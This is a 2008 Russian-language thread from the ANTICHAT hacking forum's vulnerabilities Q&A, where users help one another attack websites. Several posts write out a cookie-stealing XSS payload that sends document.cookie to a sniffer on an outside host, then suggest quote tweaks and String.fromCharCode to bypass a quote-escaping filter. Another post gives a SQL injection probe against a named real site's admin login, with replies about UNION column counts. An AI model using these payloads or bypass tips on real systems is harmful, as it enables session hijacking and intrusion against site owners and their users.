ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 142 из 2422 « Первая < 4292132 138 139 140 141 142 143 144 145 146 1521922426421142 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 28.03.2008, 00:12
samarin
Участник форума
Регистрация: 24.02.2008
Сообщений: 136
С нами: 9584577

Репутация: 69
По умолчанию
Пытаюсь разобраться с xss но почему-то на снифер ничего не приходит. в исходнике страницы, какую открывает пишет:
Цитата:
<td class='tbl2' style='padding-left:10px;padding-right:10px;'><span class='small'><a href='settings_main.php`><script>img=new Image();img.src=\"http://s.netsec.ru/snif.gif?\" document.cookie;</script>'></a></span></td>
и т.д
что здесь не так?
𝕏 Twitter Reddit Telegram Копировать ссылку
Последний раз редактировалось samarin; 28.03.2008 в 00:58..
 
Ответить с цитированием

  #2  
Старый 28.03.2008, 13:11
it's my
Banned
Регистрация: 29.09.2007
Сообщений: 512
С нами: 9798146

Репутация: 1224


По умолчанию
Цитата:
Сообщение от samarin  
Пытаюсь разобраться с xss но почему-то на снифер ничего не приходит. в исходнике страницы, какую открывает пишет:

что здесь не так?
ковычки попробуй убрать
<script>img=new Image();img.src=http://s.netsec.ru/snif.gif? document.cookie;</script>
 
Ответить с цитированием

  #3  
Старый 28.03.2008, 13:13
desTiny
Reservists Of Antichat - Level 6
Регистрация: 04.02.2007
Сообщений: 1,152
С нами: 10139366

Репутация: 1502


По умолчанию
Цитата:
Сообщение от samarin  
Пытаюсь разобраться с xss но почему-то на снифер ничего не приходит. в исходнике страницы, какую открывает пишет:

что здесь не так?
img.src="http://s.netsec.ru/snif.gif?"+document.cookie;
по-моему...
__________________
Bedankt euch dafür bei euch selbst.

H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ
 
Ответить с цитированием

  #4  
Старый 28.03.2008, 13:16
it's my
Banned
Регистрация: 29.09.2007
Сообщений: 512
С нами: 9798146

Репутация: 1224


По умолчанию
Цитата:
Сообщение от desTiny  
img.src="http://s.netsec.ru/snif.gif?"+document.cookie;
по-моему...
там по-ходу фильтр на ковычки стоит, так что стоит попробовать без ковычек!
 
Ответить с цитированием

  #5  
Старый 28.03.2008, 00:15
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию
Велемир
Поиск по форуму и пост от Constantine:
_http://forum.antichat.ru/showpost.php?p=500497&postcount=3638
 
Ответить с цитированием

  #6  
Старый 28.03.2008, 12:48
hulk
Новичок
Регистрация: 27.01.2008
Сообщений: 6
С нами: 9624661

Репутация: 1
По умолчанию
Не подобрать столбцы

http://ktv-spb.ru/admin/aut.php?user=1'
 
Ответить с цитированием

  #7  
Старый 28.03.2008, 13:10
it's my
Banned
Регистрация: 29.09.2007
Сообщений: 512
С нами: 9798146

Репутация: 1224


По умолчанию
Цитата:
Сообщение от hulk  
Не подобрать столбцы

http://ktv-spb.ru/admin/aut.php?user=1'
просто ошибка в БД, ничего выловить не сможешь
 
Ответить с цитированием

  #8  
Старый 28.03.2008, 12:51
Анжелика
Познающий
Регистрация: 26.03.2008
Сообщений: 31
С нами: 9541076

Репутация: 82
По умолчанию
видимо там mysql 3 версии или кривой запрос
2 столбца, но юнион не работает
 
Ответить с цитированием

  #9  
Старый 28.03.2008, 13:18
desTiny
Reservists Of Antichat - Level 6
Регистрация: 04.02.2007
Сообщений: 1,152
С нами: 10139366

Репутация: 1502


По умолчанию
Ну тогда...
stringFromCharCode =)
__________________
Bedankt euch dafür bei euch selbst.

H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ
 
Ответить с цитированием

  #10  
Старый 28.03.2008, 13:20
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
С нами: 10021597

Репутация: 905


По умолчанию
Кавычки, судя по всему, экранируются. Можно обойти с помощью String.fromCharCode()
 
Ответить с цитированием
Ответ
Страница 142 из 2422 « Первая < 4292132 138 139 140 141 142 143 144 145 146 1521922426421142 > Последняя »



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 15 (пользователей: 0 , гостей: 15)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.